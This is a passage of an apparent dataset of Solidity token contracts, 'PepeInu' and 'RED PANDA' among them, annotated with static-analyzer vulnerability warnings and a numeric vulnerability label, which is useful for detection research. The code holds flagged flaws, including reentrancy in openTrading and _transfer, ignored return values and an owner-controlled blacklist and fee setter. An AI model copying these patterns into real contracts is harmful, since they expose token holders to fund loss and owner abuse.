'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d84d009: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 43163b9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 43163b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cac4482): Dogenes.openTrading() ignores return value by IERC20(uniV2Pair69).approve(address(uniV2Router69),type()(uint256).max)\n\t// Recommendation for cac4482: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ded5719): Dogenes.openTrading() ignores return value by uniV2Router69.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ded5719: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4887521): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4887521: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniV2Router69 = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router69), _tTotal69);\n\n\t\t// reentrancy-benign | ID: d84d009\n\t\t// reentrancy-benign | ID: 43163b9\n\t\t// reentrancy-eth | ID: 4887521\n uniV2Pair69 = IUniswapV2Factory(uniV2Router69.factory()).createPair(\n address(this),\n uniV2Router69.WETH()\n );\n\t\t// reentrancy-benign | ID: 43163b9\n pondix(uniV2Pair69, _receipt69, true);\n\n\t\t// reentrancy-benign | ID: d84d009\n\t\t// unused-return | ID: ded5719\n\t\t// reentrancy-eth | ID: 4887521\n uniV2Router69.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d84d009\n\t\t// unused-return | ID: cac4482\n\t\t// reentrancy-eth | ID: 4887521\n IERC20(uniV2Pair69).approve(address(uniV2Router69), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d84d009\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4887521\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10156.sol",
"size_bytes": 21185,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract PepeInu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Pepe Inu\"; //////////////////////////\n\n string private constant _symbol = \"PINU\"; //////////////////////////////////////////////////////////////////////////\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 10000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 25;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 15;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n\n mapping(address => uint256) private cooldown;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe92f2c): PepeInu._developmentAddress should be constant \n\t// Recommendation for fe92f2c: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xc62D028784d1B655524943AA191Ba414C886B4b5);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5268c0e): PepeInu._marketingAddress should be constant \n\t// Recommendation for 5268c0e: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xc62D028784d1B655524943AA191Ba414C886B4b5);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 00945f8): PepeInu.uniswapV2Router should be immutable \n\t// Recommendation for 00945f8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 15aa53f): PepeInu.uniswapV2Pair should be immutable \n\t// Recommendation for 15aa53f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 200000 * 10 ** 9;\n\n uint256 public _maxWalletSize = 200000 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 30000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23d9f97): PepeInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 23d9f97: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 42fa695): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 42fa695: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8039ab1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8039ab1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 42fa695\n\t\t// reentrancy-benign | ID: 8039ab1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 42fa695\n\t\t// reentrancy-benign | ID: 8039ab1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: afa7fe5\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: afa7fe5\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: afa7fe5\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: afa7fe5\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: afa7fe5\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: afa7fe5\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4110a08): PepeInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4110a08: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8039ab1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 42fa695\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 95cfae5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 95cfae5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: afa7fe5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for afa7fe5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0236828): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0236828: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 95cfae5\n\t\t\t\t// reentrancy-benign | ID: afa7fe5\n\t\t\t\t// reentrancy-eth | ID: 0236828\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 95cfae5\n\t\t\t\t\t// reentrancy-eth | ID: 0236828\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: afa7fe5\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: afa7fe5\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: afa7fe5\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: afa7fe5\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 95cfae5\n\t\t// reentrancy-benign | ID: afa7fe5\n\t\t// reentrancy-eth | ID: 0236828\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 42fa695\n\t\t// reentrancy-events | ID: 95cfae5\n\t\t// reentrancy-benign | ID: afa7fe5\n\t\t// reentrancy-benign | ID: 8039ab1\n\t\t// reentrancy-eth | ID: 0236828\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 42fa695\n\t\t// reentrancy-events | ID: 95cfae5\n\t\t// reentrancy-eth | ID: 0236828\n _developmentAddress.transfer(amount.div(2));\n\n\t\t// reentrancy-events | ID: 42fa695\n\t\t// reentrancy-events | ID: 95cfae5\n\t\t// reentrancy-eth | ID: 0236828\n _marketingAddress.transfer(amount.div(2));\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: 0236828\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: 0236828\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: 95cfae5\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: 0236828\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 0236828\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: afa7fe5\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fb9a710): Missing events for critical arithmetic parameters.\n\t// Recommendation for fb9a710: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: fb9a710\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: fb9a710\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: fb9a710\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: fb9a710\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: db8c2d0): PepeInu.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for db8c2d0: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: db8c2d0\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bdbb0e2): PepeInu.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for bdbb0e2: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: bdbb0e2\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 94b345c): PepeInu.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 94b345c: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 94b345c\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}\n",
"file_name": "solidity_code_10157.sol",
"size_bytes": 23399,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract RP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b148cbc): RP._taxWallet should be immutable \n\t// Recommendation for b148cbc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2bd732): RP._initialBuyTax should be constant \n\t// Recommendation for d2bd732: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b58e1c9): RP._initialSellTax should be constant \n\t// Recommendation for b58e1c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8863e39): RP._finalBuyTax should be constant \n\t// Recommendation for 8863e39: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91c24c9): RP._finalSellTax should be constant \n\t// Recommendation for 91c24c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa592c7): RP._reduceBuyTaxAt should be constant \n\t// Recommendation for aa592c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6baf179): RP._reduceSellTaxAt should be constant \n\t// Recommendation for 6baf179: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: a9c299b): RP._preventSwapBefore should be constant \n\t// Recommendation for a9c299b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 200000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"RED PANDA\";\n\n string private constant _symbol = unicode\"RP\";\n\n uint256 public _maxTxAmount = 4000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bad690a): RP._taxSwapThreshold should be constant \n\t// Recommendation for bad690a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a07509f): RP._maxTaxSwap should be constant \n\t// Recommendation for a07509f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d93d6ce): RP.uniswapV2Router should be immutable \n\t// Recommendation for d93d6ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eb01b4c): RP.uniswapV2Pair should be immutable \n\t// Recommendation for eb01b4c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: d70ca55): RP.sellsPerBlock should be constant \n\t// Recommendation for d70ca55: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 